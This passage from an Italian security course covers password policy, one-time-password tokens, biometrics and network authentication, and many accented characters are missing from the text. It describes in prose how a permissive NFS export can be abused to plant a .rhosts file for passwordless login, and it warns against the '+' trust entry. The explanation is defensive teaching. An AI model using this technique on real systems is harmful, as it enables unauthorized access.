allo sniffing di ci che viene trasmesso in rete. Per tale mo-
tivo superfluo imporre agli utenti interni password com-
plicate. Al contrario, sono consigliabili i seguenti criteri:
1) usare password mnemoniche (affinch non vengano
scritte), ma difficili da indovinare anche per amici e col-
leghi. Evitare qualsiasi nome o argomento che noto op-
pure stato discusso con i colleghi, scegliere semmai
qualcosa di personale che non viene mai rivelato ad al-
tri. Conviene in ogni caso verificare le password cos ge-
nerate mediante un verificatore automatico che le scar-
ta se deboli ad un attacco basato su dizionario.
2) disabilitare la scadenza della password, che induce gli
utenti ad annotare le password, comunque un metodo
poco diffuso e poco condiviso, e solitamente utilizzato in
abbinamento al successivo.
3) incoraggiare gli utenti a cambiare password in occasio-
ne dei cambiamenti di configurazione del computer,
4) tenere i server e i dispositivi di rete sotto chiave;
5) i posti di lavoro dedicati ad applicazioni critiche (come
paghe e stipendi) dovrebbero essere situati in stanze se-
parate chiuse a chiave e non restare mai incustoditi. Ta-
le precauzione efficace a condizione che tali posti di la-
voro siano accessibili solo da consolle e non anche da re-
te.
6) i sistemi a cui si accede tramite single sign-on (sign-on
ossia registrazione singola per tutti i sistemi della rete)
non usano password interne, ma solo esterne,
7) le password degli amministratori devono essere pi for-
ti di quelle degli utenti interni, visto che rappresentano
un target pi ambito per eventuali attacchi.
In pratica, allinterno dellazienda si cerca di mediare tra
usabilit e sicurezza: una password troppo complicata per
essere usabile diventa una minaccia alla sicurezza quando
scritta sotto la tazza portamatite.
Allesterno, invece, una password pi complessa ed
protetta con metodi crittografici, ma vulnerabile ad at-
tacchi tramite dizionario. In unazienda, le connessioni re-
mote dovrebbero ricevere un trattamento diverso rispetto
alle connessioni interne ed essere filtrate da un dispositivo
di sicurezza.
In passato, il punto di filtro era tipicamente il Network
Access Server (NAS) per le connessioni telefoniche (dial-in)
visto che la gran parte degli attacchi avveniva via modem.
Oggi si utilizzano invece firewall per le connessioni in ar-
rivo da Internet. Volendo consentire laccesso dallesterno
a sistemi interni si utilizza tipicamente una VPN (Virtual Pri-
vate Nework).
Le password esterne dovrebbero essere resistenti agli
attacchi di tipo dizionario, il che si ottiene usando pas-
sword abbastanza complicate e cambiandole periodica-
mente. Se la risorsa da proteggere ha particolare valore, al-
lora la password un meccanismo di protezione inade-
guato e dovrebbe essere sostituita da metodi basati su
token.
Ecco quindi alcune raccomandazioni per la sicurezza
delle connessioni esterne:
1) se il sistema gestisce informazioni di particolare valore,
anzich normali password si dovrebbero usare token
con password single-use, Smart Card, token USB e simi-
li,
2) le connessioni esterne dovrebbero usare protocolli che
impediscano il rerouting (instradamento verso destina-
zione diversa) della connessione,
3) le password esterne dovrebbero resistere agli attacchi di
tipo dizionario,
4) le password esterne dovrebbero essere cambiate perio-
dicamente,
5) le password esterne dovrebbero essere fisicamente pro-
tette dagli attacchi interni,
6) le password esterne usate su computer portatili non de-
vono essere conservate sul computer.
Un buon modo per scegliere una password memorizza-
bile che resista ai dizionari il seguente:
1) scegliere una password a caso secondo i criteri visti per
le password interne,
2) scegliere una seconda password a caso, affinch non ab-
bia alcuna relazione con la prima,
3) scegliere a caso una cifra o segno di punteggiatura come
carattere intermedio,
4) costruire la password forte concatenando la prima pass-
word debole, il carattere intermedio e la seconda pass-
word debole,
5) esaminare il risultato e trovare qualche modello strut-
turale, ritmo, ripetizioni o qualsiasi significato che per-
metta di memorizzarlo senza doverlo scrivere.
Per esempio, frantumi5bistecca una password resi-
stente, ma abbastanza facile da ricordare.
Token
Autenticazione tramite token
Tra le tante definizioni della parola token, la pi vicina al-
luso in campo informatico gettone, un oggetto simile a
una moneta usato da un certo gruppo di utenti per pagare
qualcosa o per un impiego specifico. Il concetto si esteso
ai gettoni immateriali che non hanno la forma di una mo-
neta, ma che sono comunque oggetti fisici usati da un grup-
po secondo regole specifiche. Esempi in tal senso sono i
gettoni che viaggiano su una LAN Token Ring (che usa ap-
punto il gettone per assegnare il turno di trasmissione ai
vari computer collegati) e i gettoni impiegati dai dispositi-
vi di autenticazione.
Un token un fattore di autenticazione della categoria
qualcosa che hai; lutente devessere in possesso del
token al fine di essere autenticato dal computer. Se il token
viene smarrito, rubato o prestato, lutente non ha modo di
farsi autenticare, come un tempo accadeva per una chiave
o un sigillo personale.
Dal punto di vista della sicurezza, un token ha alcune
propriet fondamentali:
1) la persona devessere in possesso fisico del token per
poterlo usare,
2) un buon token molto difficile da duplicare,
3) una persona pu smarrire un token e con esso perdere
laccesso a risorse critiche,
4) lutente si accorge del furto di un token facendo linven-
tario dei token in suo possesso.
5.3.3 Token
5.3.3.1 Conoscere i
principi di
autenticazione
tramite token
Le password duso
esterno dovrebbero
essere complicate ed
essere modificate di
frequente
Rispetto a una password, un token offre notevoli benefici:
1) elimina il fardello di dover ricordare password compli-
cate,
2) pu contenere un dato segreto molto pi complesso di
quanto sia memorizzabile da una persona,
3) spesso associato a un secondo fattore di autenticazio-
ne, come un PIN memorizzato dallutente,
4) un token attivo pu generare un output diverso in di-
verse circostanze oppure ad ogni utilizzo.
Oggi un token pu assumere i formati e le dimensioni pi
svariate: una carta di credito, una chiave, una calcolatrice,
un anello e altro ancora. Da un punto di vista funzionale, la
principale distinzione tra token passivi, che si limitano a
memorizzare dati, e token attivi, dotati di capacit di ela-
borazione.
Token passivi
Una carta di credito e una scheda Bancomat di vecchia
generazione (prive cio di processore) sono esempi di
token passivi, perch i dati identificativi sono registrati su
una striscia magnetica. Il lettore riceve sempre gli stessi da-
ti a ogni autenticazione; per sicurezza, pu essere richiesto
un secondo fattore di identificazione, come il PIN per le
schede Bancomat o il codice di sicurezza stampato sul re-
tro delle carte di credito.
I token passivi possono essere chiavi con una memo-
ria di sola lettura, schede con una certa struttura di perfo-
razione, schede con codice a barre e schede a prossimit,
cio dispositivi a induzione che rispondono con un certo
segnale quando avvicinati al lettore.
Un vecchio esempio di token passivo la datakey
(chiave con ROM) di Datakey (poi fusa con SafeNet). Pi re-
cente la XyLoc di Ensure Technologies, che viene indos-
sata e permette lautenticazione via radio quando lutente
si trova entro un certo raggio dal computer.
Tra gli esempi pi economici e diffusi ci sono i badge di
accesso, cio schede di plastica con striscia magnetica a
cui associato un PIN da digitare sulla tastiera numerica
del lettore.
Il problema principale dei token passivi la facilit di du-
plicazione; inoltre il PIN pu essere scoperto osservando
lutente oppure in altri modi (intercettazione, reverse en-
gineering del token, complicit del personale).
Token attivi
A differenza dei token passivi, quelli attivi non trasmet-
tono il proprio dato segreto per autenticare lutente, ma lo
utilizzano per qualche calcolo, come la generazione di una
one-time password, cio una password usata una volta so-
la (e quindi ogni volta diversa). Sebbene i token di tipo one-
time password affondino le proprie radici nei decenni pas-
sati, questa la tecnologia tradizionale usata da vari pro-
dotti delle famiglie SafeWord, SecuirID, CryptoCard e altri.
A questi si sono aggiunti numerosi prodotti basati sulla crit-
tografia asimmetrica e i certificati a chiave pubblica, sotto
forma di Smart Card, chiavi USB e altro.
I token attivi usano solitamente tecniche crittografiche
che li rendono immuni da intercettazioni e replay dei mes-
saggi. Ogni volta che lutente si connette per autenticarsi,
vengono generati messaggi diversi, in modo da vanificare
la registrazione e la ripetizione dei messaggi.
Esistono token attivi con e senza tastiera; alcuni sinter-
facciano direttamente col computer (per esempio via USB),
altri richiedono un lettore particolare (per esempio le
Smart Card e i token iButton) o un adattatore PCMCIA (di-
sponibile per le Smart Card). Dato che la crittografia a chia-
ve pubblica viene trattata a parte e per molti aspetti sta-
ta introdotta nella lezione 2 (Crittografia), qui ci occupiamo
soprattutto di token del tipo one-time password. Essi se-
guono generalmente uno tra i due metodi fondamentali per
generare la password: il metodo basato su contatore op-
pure il metodo basato sullorologio. In qualche caso ven-
gono adottati entrambi.
Una data significativa per ladozione di sistemi basati su
one-time password generate da token a contatore il 1994,
quando furono adottati da Citybank in risposta a una truf-
fa di vaste proporzioni. Un gruppo di russi, dopo aver ru-
bato le password di vari funzionari della banca, aveva di-
sposto una serie di trasferimenti attraverso mezzo mondo.
I token di questo tipo incorporano un contatore che viene
usato per generare una nuova password a ogni collega-
mento.
Al momento del login, lutente preme un pulsante sul
token, il contatore viene incrementato e una funzione hash
riceve in input il valore del contatore e il dato segreto me-
morizzato nel token; il risultato compare sul display del
token e lutente lo utilizza come password di login. Se la
password viene intercettata e riutilizzata, sar considerata
invalida.
Un esempio di token a contatore SafeWord, un token a
forma di chiave prodotto da Secure Computing. Lalgoritmo
di hashing varia a seconda dei prodotti. Per funzionare, un
sistema a contatore deve tenere sincronizzati il contatore
sul token e quello sul computer; un amministratore impo-
sta i valori iniziali. Nel caso di SafeWord, ci avviene me-
diante un dispositivo che si collega ai sette contatti pre-
senti frontalmente sul token. Opzionalmente, pu essere ri-
chiesto un PIN prima dellemissione della password, in mo-
do da neutralizzare il possibile furto oppure luso abusivo
del token.
In caso di perdita del sincronismo del contatore, il ser-
ver SafeWord utilizza lultima password ricevuta (e con-
servata) e verifica se le password successive (incremen-
tando il contatore) possono essere state prodotte dallo
stesso token, sincronizzando di nuovo il proprio contatore.
Nel caso un token a contatore venisse duplicato, il sistema
si comporter in modo erratico, alternando successi, falli-
menti e ri-sincronizzazioni che indicano la presenza di due
token con lo stesso dato segreto.
Il token SecurID di RSA Security, molto diffuso nono-
stante let, utilizza lorologio anzich un contatore. Ogni 60
secondi la funzione hash, in base al valore dellorologio e al
dato segreto, genera una password one-time. Il server man-
tiene il proprio orologio e accetta la password se si trova al-
linterno di una data finestra temporale. Token e server so-
no sincronizzati con lUCT (Universal Coordinated Time
lora del meridiano di Greenwich). Con linvecchiamento, il
clock dei token pu scostarsi da quello del server, ma que-
stultimo conserva informazioni per la correzione. Se dopo
un lungo periodo il token si collega e risulta fuori dalla fi-
nestra temporale di accettazione, il server rifiuta lautenti-
cazione, ma al successivo login, se rileva lo stesso errore
temporale, aggiorna le informazioni sullo scostamento di
quel token, ri-sincronizzandosi. I token SecurID sono pro-
dotti in vari formati hardware (a scheda e a chiave anche
con collegamento USB al computer, per non dover digitare
la password) e nella versione software.
PIN
Il punto debole dei token che possono essere rubati
(oppure presi a prestito) e utilizzati per commettere un
crimine. La soluzione comune di associare al token un PIN
Il gettone o token offre
un livello di sicurezza
maggiore rispetto alla
semplice password.
che ostacoli luso del token almeno per il tempo necessario
ad accorgersi del furto e reimpostare il server in modo che
non accetti le password di quel token. Il PIN di un token pu
essere utilizzato in vari modi, tra cui i seguenti:
1) PIN concatenato a una password esterna: il PIN viene
combinato ad altre informazioni, come la password one-
time generata dal token, e il tutto inviato al server. Al
login, lutente digita la password generata (visualizzata
sul display del token) seguita dal PIN. Tale approccio
adottato da SecurID e da altri prodotti. Il rischio che il
PIN sia visto e che il token sia rubato.
2) PIN come password interna: il PIN impostato nel token
e nessun altro ne ha visibilit. Dato che in questo caso il
PIN digitato sulla tastiera del token, si possono impo-
stare diversi comportamenti in caso di PIN errato: ritar-
dare laccesso o bloccare il token, riportare laccesso er-
rato in modo che il titolare ne sia informato e via dicen-
do. Di base, a fronte di un PIN errato, il token dovrebbe
ritardare progressivamente le operazioni al fine di dare
tempo allutente dintervenire. Tale implementazione del
PIN consente, come nel caso di certi token SafeWord, di
riconoscere un particolare valore di PIN (quello corret-
to meno uno) come segnale di allarme, perch lutente
sotto minaccia. Il PIN come password interna vulnera-
bile in caso di implementazione software, visto che pos-
siede tutte le informazioni che potrebbero servire in ca-
so di attacco.
3) PIN come parte del dato segreto: questo approccio ri-
solve il problema dellimplementazione software, dato
che il token non memorizza il valore del PIN e neppure il
completo dato segreto. La password generata inse-
rendo il PIN, calcolando lhash in base al PIN e al segre-
to parziale e calcolando la password in base allhash e al
valore del contatore o dellorologio. In questo modo, un
login errato viene scoperto solo al tentativo di connet-
tersi al server e lattaccante non ha modo di eseguire
tentativi senza che vengano registrati nel file di logging.
Di conseguenza, se i tentativi vengono segnalati, si pos-
sono predisporre tempestivamente le difese.
Challenge
Una variante di token di autenticazione utilizza il cosid-
detto challenge response. Al momento del login, il token ri-
ceve dal server un dato (challenge, ossia sfida) e lo elabo-
ra appropriatamente, utilizzando il proprio dato segreto,
per fornire la risposta (response) che attesta la corretta
identit dellutente. Esempi di token che supportano que-
sto tipo di autenticazione si trovano nelle famiglie Sa-
feWord, WatchWord e CryptoCard.
Biometria
Schemi di autenticazione biometrica
La biometria la scienza e tecnologia dellautenticazio-
ne (stabilire lidentit di un individuo) misurando le carat-
teristiche fisiologiche o comportamentali di una persona.
Il termine deriva dalle parole greche bios (vita) e "me-
tron" (misura), quindi applicabile a particolari caratteri-
stiche di un corpo umano vivo o ad alcuni tratti compor-
tamentali di un individuo, misurabili e utili per lidentifica-
zione.
Le caratteristiche fisiche utilizzate per lautenticazione
biometrica sono diverse:
1) impronte digitali. Usate da un secolo e mezzo, manten-
gono la loro reputazione di unicit per ogni individuo, ge-
melli inclusi. Gli scanner di impronte sono molto diffusi
e hanno un basso costo, molto inferiore a quello degli al-
tri dispositivi biometrici.
2) Geometria delle mani: rispetto alle impronte digitali, che
richiedono mani pulite, ha il vantaggio di poter essere
usata anche in condizioni ambientali difficili, come fab-
briche e cantieri.
3) Retina: la sua scansione utilizzata in installazioni mili-
tari e governative. Il modello dei vasi sanguigni della re-
tina unico e stabile, sebbene siano possibili variazioni
(come durante la gravidanza). La fotografia della retina
richiede unesposizione prolungata a bassa intensit lu-
minosa ed vista come una procedura intrusiva, sebbe-
ne non rechi danno agli occhi.
4) Iride: come per la retina, la sua scansione fornisce un
modello unico e stabile ed oggi una delle tecnologie in
rapida ascesa per ladozione in aeroporti e controlli del-
limmigrazione. La foto ripresa da una certa distanza e
presenta difficolt simili a quelle della retina.
5) Riconoscimento del volto: un metodo particolarmente
flessibile e pu essere utilizzato allinsaputa della per-
sona oggetto della scansione (con i relativi pro e contro).
Pu essere usato per cercare un individuo nella folla, a
patto che raggiunga la necessaria precisione di ricono-
scimento. Negli ultimi tempi negli USA si sono registrati
fallimenti clamorosi .
6) Impronta vocale: come il riconoscimento del volto, la-
nalisi della voce pu essere usata allinsaputa dellinte-
ressato. E possibile falsificarla manipolando una regi-
strazione, ma imitare la voce di un altro non trae in in-
ganno un analista esperto. Questa caratteristica a volte
elencata nella categoria dei tratti comportamentali, da-
to che non si basa sullosservazione di una parte del cor-
po.
Altre caratteristiche comportamentali sono:
1) firma autografa. I sistemi di riconoscimento affidabili la
confrontano con una registrazione che comprende la di-
namica del movimento della penna da parte dellutente.
Di solito, comunque, la verifica della firma abbinata ad
altri metodi di autenticazione e serve soprattutto per ri-
levare firme falsificate.
2) Dinamica della digitazione su tastiera: esistono alcuni si-
stemi che riconoscono il comportamento dellutente du-
rante la battitura, come il ritardo tra pressione e rilascio
dei tasti e il tempo che intercorre tra la pressione di va-
rie coppie di tasti. Un vantaggio che non occorre
hardware aggiuntivo.
La diffusione dei dispositivi biometrici ha subito un for-
te impulso dal settembre 2001, quando iniziato un pro-
cesso di progressivo spostamento del punto di equilibrio
tra esigenze di sicurezza e garanzie personali (a partire dal-
la privacy). Oggi sono gi istallati in varie nazioni disposi-
tivi biometrici per il controllo delle frontiere che sono ba-
sati sulla scansione delle impronte digitali o della retina.
5.3.4 Biometria
5.3.4.1 Conoscere i
diversi schemi di
autenticazione
biometrica e la loro
efficacia.
La geometria della mano
e limpronta digitale
costituiscono altri due
sistemi abbastanza
comuni per
lautenticazione
biometrica.
Quelle che oggi sono installazioni sperimentali, che richie-
dono il consenso dellindividuo, sono destinate a diventa-
re prassi generalizzata. Entro pochi anni previsto che i da-
ti biometrici siano registrati nei passaporti. A seguito del-
la rapida espansione della biometria nel settore pubblico,
prevedibile che anche il settore privato adotti le stesse
tecnologie di autenticazione, nonostante quelle biometri-
che siano probabilistiche (non funzionano nel 100% dei ca-
si) e non siano prive dinconvenienti, sia tecnici sia di altra
natura. Per esempio, non c nessuna garanzia che un da-
tabase dimpronte biometriche, oggi garantito impermea-
bile a utilizzi volti al controllo delle persone (ubicazione,
abitudini, acquisti, comportamenti, eccetera), un domani
non venga usato contro ogni diritto alla privacy per pre-
sunti motivi di sicurezza.
Lapprovazione del Real Id Act negli USA impone ai cit-
tadini, entro maggio 2008, di avere un documento di iden-
tit digitale (con incorporato chip RFID di trasmissione ra-
dio Radio Frequency Identification) per poter guidare un
veicolo, prendere un aereo, aprire un conto bancario e ac-
cedere ai servizi pubblici.
Inoltre la legge consente al dipartimento per la sicurez-
za nazionale (Homeland Security) di chiedere linclusione
di dati biometrici nel documento di identit (impronte di-
gitali o scansione della retina o delliride) in aggiunta alla fo-
to, indirizzo e altri dati personali.
Anche la letteratura sui dispositivi biometrici, piuttosto
asettica e imparziale fino al 2001, nel momento in cui in-
genti finanziamenti sono confluiti nel settore della sicurez-
za, ha subito le pressioni di interessi economici e di posi-
zioni dominanti (come quella legata alla scansione delliri-
de).
Oggi, per valutare correttamente le tecnologie biome-
triche disponibili e le proposte dei produttori, consiglia-
bile estendere lindagine a fonti di informazione che pre-
sentino i rispettivi pro e i contro, incluse le eventuali for-
zature motivate da obiettivi commerciali. Ne un esempio
la polemica intorno alla scansione delliride, che vede con-
trapposte le valutazioni di chi ha ottenuto i brevetti (John
Daugman, http://www.cl.cam.ac.uk/users/jgd1000) e le con-
trodeduzioni di chi lo accusa di disinformazione (www.iris-
ward.com/TEMP/02-cadre.html); altre fonti, come
http://www.iris-recognition.org, sono pi neutrali. Dopo la
fusione tra le aziende IriScan e Sensar, Iridian Technologies
oggi il detentore dei brevetti e il principale protagonista
in questo settore.
Funzionamento
Il principio base di funzionamento lo stesso per tutti i
sistemi biometrici. Ogni sistema usa un sensore per rac-
cogliere in forma digitale i dati corrispondenti a una misu-
ra biometrica. Il sensore pu essere ad esempio uno scan-
ner apposito per limpronta digitale o una speciale fotoca-
mera usata per riprendere limmagine delliride. In en-
trambi i casi sono state dimostrate le possibilit di falsifi-
cazione, che possono essere sventate migliorando i sensori
(per esempio rilevando temperatura, conducibilit e altri
indicatori di un dito vivo) e presidiando il sensore (per evi-
tare di autenticare la foto di un occhio).
A partire dalla misura digitale fornita dal sensore, ven-
gono estratte le caratteristiche individuali, che permettono
di differenziare un individuo da un altro; per esempio, nel
caso delliride, ci sono oltre 200 punti da esaminare. Il pro-
cesso di estrazione fornisce unimpronta o firma biome-
trica, che allatto dellautenticazione viene confrontata
con i modelli biometrici archiviati in un database.
Il confronto fornisce generalmente una corrispondenza
parziale: se lo scostamento inferiore alla soglia di accet-
tazione, lautenticazione positiva, altrimenti rifiutata.
Idealmente, il processo di registrazione dellimpronta bio-
metrica di riferimento dovrebbe sfruttare tutte le occasio-
ni in cui vengono confrontate due misure dello stesso sog-
getto per affinare e adattare limpronta campione e ridurre
la probabilit di falsi rifiuti.
Usi
Sebbene la biometria sia qui citata nel contesto delle tec-
niche di autenticazione, utile sapere che essa pu servi-
re a tre diversi campi di utilizzo:
1) autenticazione: laccertamento che limpronta bio-
metrica sia (con buona probabilit) proprio quella dellu-
tente che la presenta;
2) identificazione: dato un campione biometrico, si vuo-
le scoprire a quale individuo esso appartiene (o perlome-
no a quale rosa di sospetti, visto che questo uso tipico
delle forze di polizia);
3) unicit: dato un campione biometrico, si vuole verifi-
care se il suo proprietario gi in un certo database (per
esempio per evitare di accordare due volte un certo bene-
ficio sociale alla stessa persona o di permettere limmigra-
zione di individui gi espulsi).
Precisione
La precisione di un dispositivo biometrico (sempre in-
feriore al 100%) misurata dalla stima delle false accetta-
zioni (impronte biometriche non registrate nel database,
ma erroneamente riconosciute come valide) e dei falsi ri-
fiuti (impronte valide ed erroneamente rifiutate). La preci-
sione viene stimata leggendo i campioni biometrici da
unampia popolazione di prova e confrontandoli con le im-
pronte registrate in un database.
Le due curve FAR (False Acceptance Rate, tasso di false
accettazioni) e FRR (False Rejection Rate, tasso di falsi ri-
fiuti) si incrociano nel punto ERR (Equal Error Rate, pari
tasso di errori), che generalmente corrisponde al miglior
punto di taratura del lettore biometrico. Il valore di FAR in-
dica la sicurezza del lettore biometrico ed paragonabile
al numero di bit di una password.
Un FAR di 1 su 100.000 per un lettore biometrico corri-
sponde circa a una password di 16 bit. Abbassando il FAR
si alza per lFRR, che rappresenta lusabilit del sistema (i
falsi rifiuti impediscono agli utenti autorizzati laccesso al
sistema), quindi occorre bilanciare sicurezza e usabilit.
Segretezza
Chi intercetta o entra in possesso di unimpronta bio-
metrica pu tentare di impersonare il proprietario di quel-
limpronta o, peggio, monitorare gli spostamenti e i com-
portamenti di tale individuo. Ne possono seguire truffe, cri-
mini commessi a nome altrui e gravi violazioni della pri-
vacy.
Un sistema biometrico per autenticazione locale, inclu-
so cio in un perimetro di sicurezza, relativamente sicu-
ro. Lo stesso non vale per i sistemi distribuiti in rete, che
devono ricorrere a tecniche di crittografia per proteggere
la riservatezza dei dati trasmessi. Una soluzione cifrare i
dati biometrici con una chiave pubblica prima di trasmet-
terli e decifrarli in ricezione con la corrispondente chiave
privata.
Non si possono usare le funzioni hash nel confronto tra
impronte biometriche lette e archiviate perch a piccole
variazioni di unimpronta biometrica corrisponderebbero
ampie variazioni dellhash, impedendo il riconoscimento.
In pratica, unimpronta biometrica serve per autentica-
re una persona, ma per evitare falsificazione nella trasmis-
sione dei dati, non si pu fare a meno di autenticare a loro
volta, per esempio con una coppia di chiavi per crittogra-
fia asimmetrica, i dati biometrici.
La cifratura dei dati biometrici dovrebbe rispondere, in
qualche misura, anche alle esigenze delle normative sulla
privacy. Il settore privato sar chiamato a rispondere del-
la privacy dei dati biometrici conservati nei database; i set-
tori e le agenzie governative nel mondo si sono mostrati in-
vece propensi a sacrificare la privacy re-interpretando, di
volta in volta, le esigenze di sicurezza nazionale nel senso
di una riduzione effettiva del diritto individuale alla non di-
vulgazione dinformazioni personali.
Autenticazione in rete
Per risolvere il problema di autenticare un soggetto sia
esso un utente o un processo in contesto di rete si deve
fare i conti con il problema di trovare un compromesso fra
modalit operative ragionevolmente semplici, un onere
amministrativo non eccessivo (per i sistemisti che hanno
in gestione le macchine) e un livello di sicurezza accetta-
bile. Questi problemi derivano dal fatto che da un lato l'u-
tente non desidera dover ricordare e usare troppe pas-
sword diverse, n l'amministratore vuole dover configura-
re e mantenere un numero eccessivo di profili e password,
e d'altra parte si desidera che anche la sicurezza di ogni sin-
golo sistema inserito in rete non sia troppo inferiore a quel-
la che avrebbe se fosse isolato.
Si consideri innanzitutto il fatto che, se l'accesso a un si-
stema B avviene remotamente agendo da un sistema A, re-
sta ovviamente necessario che l'utente abbia accesso (cio
disponga di una username e password) sul sistema B, ma
occorre anche, in generale, che disponga di un login sul si-
stema da cui effettua l'accesso, ossia A. Per evitare che l'u-
tente debba ricordare coppie login/password per troppi si-
stemi diversi si potrebbe decidere di adottare account
uguali (con password uguali) su A e su B. Cos facendo lo
username e la password da digitare sarebbero gli stessi su
entrambi i sistemi e l'utente avrebbe meno segreti da ri-
cordare. Tuttavia egli sarebbe ancora costretto a ripetere
la manovra di login (seppure con dati sempre uguali) a ogni
accesso remoto, senza contare che dovrebbe effettuare l'o-
perazione periodica di cambiamento delle password sia su
A sia su B.
In ambiente Windows possibile semplificare le cose or-
ganizzando i server in un unico "dominio": con tale termi-
ne sintende un raggruppamento logico di server di rete e
altri host che condividono le informazioni sui profili uten-
te e altre impostazioni di security. In un dominio esiste sem-
pre un database principale (Primary Domain Controller,
PDC) che contiene tali informazioni ed inoltre possibile,
opzionalmente, replicare per sicurezza tale database su
una o pi altre macchine (Backup Domain Controller,
BDC), che vengono mantenute aggiornate mediante ope-
razioni periodiche di "sincronizzazione". Nel dominio pos-
sono, poi, esistere macchine sempre con funzioni di server
(e che per la gestione di profili utente si appoggiano al
PDC), ma su cui non risiede n una copia primaria n una
secondaria del database di dominio. In terminologia Win-
dows, tali host sono chiamati "member servers".
Una volta effettuate le impostazioni necessarie, l'utente
ha il vantaggio di dover ricordare una sola password vali-
da per tutte le macchine che partecipano al dominio; inol-
tre, nelle utility di Windows che mostrano elenchi di risor-
se di rete disponibili, quelle del dominio saranno raggrup-
pate sotto un unico "cappello", rendendo pi facile la con-
sultazione (soprattutto in reti di grandi dimensioni). Anche
l'amministratore avr vantaggi non indifferenti, potendo ef-
fettuare la gestione degli account in modo centralizzato, e
senza bisogno di tediose ripetizioni, qualunque sia il nu-
mero delle macchine facenti parte del dominio.
Sotto Linux esistono diverse strategie (tra le quali anche
un'architettura basata su Kerberos, equivalente, per con-
cezione e per tecnologia crittografica sottostante, all'ap-
proccio adottato da Windows) per semplificare la situa-
zione degli account multipli. Con la pi semplice di esse
possibile, in sostanza, fare in modo che il sistema B "si fidi"
dell'autenticazione avvenuta su un altro sistema A identifi-
cato dal suo nome logico. Ci avviene scrivendo specifiche
righe nel file .rhosts presente nella home directory dell'u-
tente U (sul file system del sistema B). Quando lutente di
nome U, gi autenticato nel sistema A, tenta di collegarsi a
B fornendo la stessa username U (o un'altra username pre-
stabilita, U2), il sistema B, consultando il corrispondente fi-
le .rhosts, conclude che per tale connessione proveniente
da A e tentata dall'utente U non occorre chiedere la pas-
sword.
ovvio che questo tipo di configurazione include anche
la macchina A nel "perimetro" entro il quale occorre vigila-
re perch non si verifichino violazioni di security. Infatti, se
la security del sistema A fosse violata, per propriet tran-
sitiva risulterebbe violata anche quella di B, dal momento
che questo accetta senza ulteriori controlli i login prove-
nienti da A. La situazione pu essere paragonata a quella
dello "spazio Schengen" nell'Unione Europea, con l'aboli-
zione delle frontiere interne, e alla questione del controllo
delle frontiere esterne degli Stati membri.
Nel caso in cui le home directory degli utenti apparten-
gono a un file system esportato via NFS, il sistema potreb-
be essere esposto a un semplice attacco qualora NFS e per-
messi di scrittura siano configurati in modo troppo "per-
missivo". Un utente potrebbe infatti montare da un sistema
C il file system delle home directories del sistema B e scri-
vere o modificare un file .rhosts in modo tale da assicurar-
si l'accesso al sistema B senza digitare n conoscere alcu-
na password. Sar poi sufficiente che egli definisca sul si-
stema C (sul quale deve avere privilegi di amministratore,
cosa che su un PC quasi la norma) un utente dal nome
uguale a quello per il quale ha alterato il file .rhost su B, e
poi effettui un remote login da C a B con tale username.
Un secondo aspetto da affrontare invece legato alla
"vulnerabilit" della comunicazione tra A e B. I pericoli in-
5.3.5
Autenticazione
in rete
5.3.5.1 Conoscere i
diversi requisiti per
lautenticazione in
rete rispetto
allautenticazione
del singolo host
IL FILE RHOSTS
Nei sistemi Linux, attraverso l'uso del file .rhosts, possibile fare in modo che il
sistema locale, al momento di decidere se consentire o meno l'accesso all'arrivo
di un comando rlogin, rsh/remsh o rcp, "si fidi" dei login effettuati con successo
su altri sistemi identificati attraverso l'hostname. Da notare che il meccanismo
del file .rhosts non ha effetto su altre forme di accesso, quali ftp, telnet e accessi
web.
Il file in questione va posizionato nella home directory dell'utente utentelocale al
quale si desidera consentire di entrare da un sistema remoto senza fornire
nuovamente il login. Per evidenti motivi di sicurezza, onde evitare ispezioni e
modifiche a scopo di intrusione, importante sottolineare che .rhosts deve
inoltre appartenere o a utentelocale o a root e dovrebbe sempre essere leggibile
(ma soprattutto scrivibile) esclusivamente per utentelocale.
Tale file pu contenere una o pi righe di testo la cui sintassi prevede
fondamentalmente un hostname (o carattere "+"), opzionalmente seguito da uno
spazio e da uno username. Alcuni esempi:
hostname.dominio.com
Tutti i login della macchina hostname.dominio.com saranno considerati validi
anche dal sistema locale al fine di effettuare il login in qualit di utentelocale.
+
Una riga composta da un singolo carattere "+" ha un effetto dello stesso tipo, ma
per qualsiasi macchina remota e non pi solo per hostname.dominio.com
(impostazione altamente pericolosa, senz'altro da sconsigliare)
hostname.dominio.com john
L'unico login della macchina hostname.dominio.com che sar accettato dal
sistema locale per accedere come utente "utentelocale" da quel sistema
"john". Altri login da quella macchina, o qualsiasi login (compreso "john") da altre
macchine, saranno rifiutati.
Esiste una versione ancora pi "forte" (e "pericolosa", se usata in modo
malaccorto) di questo tipo di meccanismo: il file hosts.equiv, che utilizza una
sintassi simile a quella descritta, con qualche opzione in pi, come l'uso del
carattere meno,"-", in posizione prefissa, per escludere esplicitamente un host o
un utente.
La differenza sta nel fatto che hosts.equiv ha un effetto globale sulla macchina.
Non occorre cio crearne una copia nella home directory di ciascun utente.
Questo file va posizionato in /etc e per evidenti motivi di sicurezza deve
appartenere a root e non essere scrivibile per alcun altro utente.
siti in tale comunicazione (che, ricordiamolo, generalmen-
te implica sotto qualche forma uno scambio via rete di
username e password) sono essenzialmente due. Quello
fondamentale il rischio di intercettazione dei messaggi
scambiati all'atto del login, con conseguente compromis-
sione della segretezza della password utilizzata. L'altro, che
ne la logica conseguenza, il rischio che una volta cos ot-
tenuta la conoscenza di una username U e della relativa
password valida, qualche soggetto terzo "impersoni" l'u-
tente legittimo U, collegandosi a B da A o anche da una
macchina C diversa da A fornendo le credenziali di U. So-
prattutto se C un PC, pu risultare relativamente sempli-
ce disporre dei permessi di amministratore, coi quali pos-
sibile creare il profilo U. Una blanda linea di difesa contro
tale attacco consiste nell'impostare B in modo tale che ac-
cetti connessioni solo da indirizzi IP noti e "fidati": ad esem-
pio, per il servizio telnet, in diversi ambienti Linux, si agi-
sce sul file /etc/xinetd.d/telnet scrivendo una clausola
only_from che includa tutti e soli gli indirizzi dai quali si ac-
cetteranno connessioni. Naturalmente tale protezione pu
essere facilmente vanificata poich banale impostare il
PC in modo tale che abbia un indirizzo di rete identico a
uno di quelli "fidati" e, avendo accesso alle connessioni fi-
siche di rete, collegarlo poi al posto della macchina da im-
personare.
Per una sicura e affidabile autenticazione "da remoto" di
U sul sistema B necessario perci che sussistano con-
temporaneamente diverse condizioni: il fatto che U si col-
leghi a B da un sistema A identificato ed il cui livello di se-
curity sia ritenuto adeguato; il fatto che U si sia autentica-
to anzitutto su A e poi su B utilizzando le credenziali di cui
dispone su tali due sistemi, oppure che il sistema B accet-
ti per vera l'autenticazione gi avvenuta su A; infine, nel ca-
